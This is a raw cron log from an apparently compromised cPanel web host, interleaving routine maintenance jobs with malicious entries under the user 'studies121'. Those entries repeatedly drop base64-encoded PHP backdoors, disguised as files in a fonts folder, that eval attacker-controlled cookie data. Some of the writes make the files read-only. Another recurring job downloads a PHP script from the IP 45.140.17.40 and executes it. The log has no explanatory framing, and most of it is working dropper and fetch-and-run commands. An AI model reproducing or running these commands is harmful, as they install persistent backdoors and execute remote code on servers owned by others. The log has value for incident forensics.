Sep  7 01:34:01 ip-184-168-122-23 CROND[25891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:35:02 ip-184-168-122-23 CROND[25985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:35:02 ip-184-168-122-23 CROND[25986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:35:02 ip-184-168-122-23 CROND[25989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:35:02 ip-184-168-122-23 CROND[25988]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 01:35:02 ip-184-168-122-23 CROND[25992]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 01:35:02 ip-184-168-122-23 CROND[25997]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:35:02 ip-184-168-122-23 CROND[25998]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:35:02 ip-184-168-122-23 CROND[25996]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:36:01 ip-184-168-122-23 CROND[26084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:36:01 ip-184-168-122-23 CROND[26086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:36:01 ip-184-168-122-23 CROND[26089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:36:01 ip-184-168-122-23 CROND[26088]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:36:01 ip-184-168-122-23 CROND[26087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:37:01 ip-184-168-122-23 CROND[26172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:37:01 ip-184-168-122-23 CROND[26173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:37:02 ip-184-168-122-23 CROND[26175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:37:02 ip-184-168-122-23 CROND[26180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:38:01 ip-184-168-122-23 CROND[26352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:38:01 ip-184-168-122-23 CROND[26354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:38:01 ip-184-168-122-23 CROND[26355]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:38:01 ip-184-168-122-23 CROND[26356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:38:01 ip-184-168-122-23 CROND[26357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:39:01 ip-184-168-122-23 CROND[26434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:39:01 ip-184-168-122-23 CROND[26435]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 01:39:01 ip-184-168-122-23 CROND[26438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:39:01 ip-184-168-122-23 CROND[26439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:39:01 ip-184-168-122-23 CROND[26440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:40:01 ip-184-168-122-23 CROND[26526]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:40:01 ip-184-168-122-23 CROND[26530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:40:01 ip-184-168-122-23 CROND[26528]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 01:40:01 ip-184-168-122-23 CROND[26529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:40:01 ip-184-168-122-23 CROND[26532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:40:01 ip-184-168-122-23 CROND[26531]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:40:01 ip-184-168-122-23 CROND[26535]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:40:01 ip-184-168-122-23 CROND[26533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:41:01 ip-184-168-122-23 CROND[26659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:41:01 ip-184-168-122-23 CROND[26660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:41:01 ip-184-168-122-23 CROND[26661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:41:01 ip-184-168-122-23 CROND[26662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:42:01 ip-184-168-122-23 CROND[26758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:42:01 ip-184-168-122-23 CROND[26760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:42:01 ip-184-168-122-23 CROND[26761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:42:01 ip-184-168-122-23 CROND[26765]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:42:01 ip-184-168-122-23 CROND[26764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:43:01 ip-184-168-122-23 CROND[26931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:43:01 ip-184-168-122-23 CROND[26934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:43:01 ip-184-168-122-23 CROND[26933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:43:01 ip-184-168-122-23 CROND[26936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:44:01 ip-184-168-122-23 CROND[27023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:44:01 ip-184-168-122-23 CROND[27022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:44:02 ip-184-168-122-23 CROND[27024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:44:02 ip-184-168-122-23 CROND[27025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:44:02 ip-184-168-122-23 CROND[27026]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:45:01 ip-184-168-122-23 CROND[27130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:45:01 ip-184-168-122-23 CROND[27132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:45:01 ip-184-168-122-23 CROND[27135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:45:01 ip-184-168-122-23 CROND[27133]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:45:01 ip-184-168-122-23 CROND[27136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:45:01 ip-184-168-122-23 CROND[27134]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:46:01 ip-184-168-122-23 CROND[27238]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:46:01 ip-184-168-122-23 CROND[27240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:46:01 ip-184-168-122-23 CROND[27241]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 01:46:01 ip-184-168-122-23 CROND[27243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
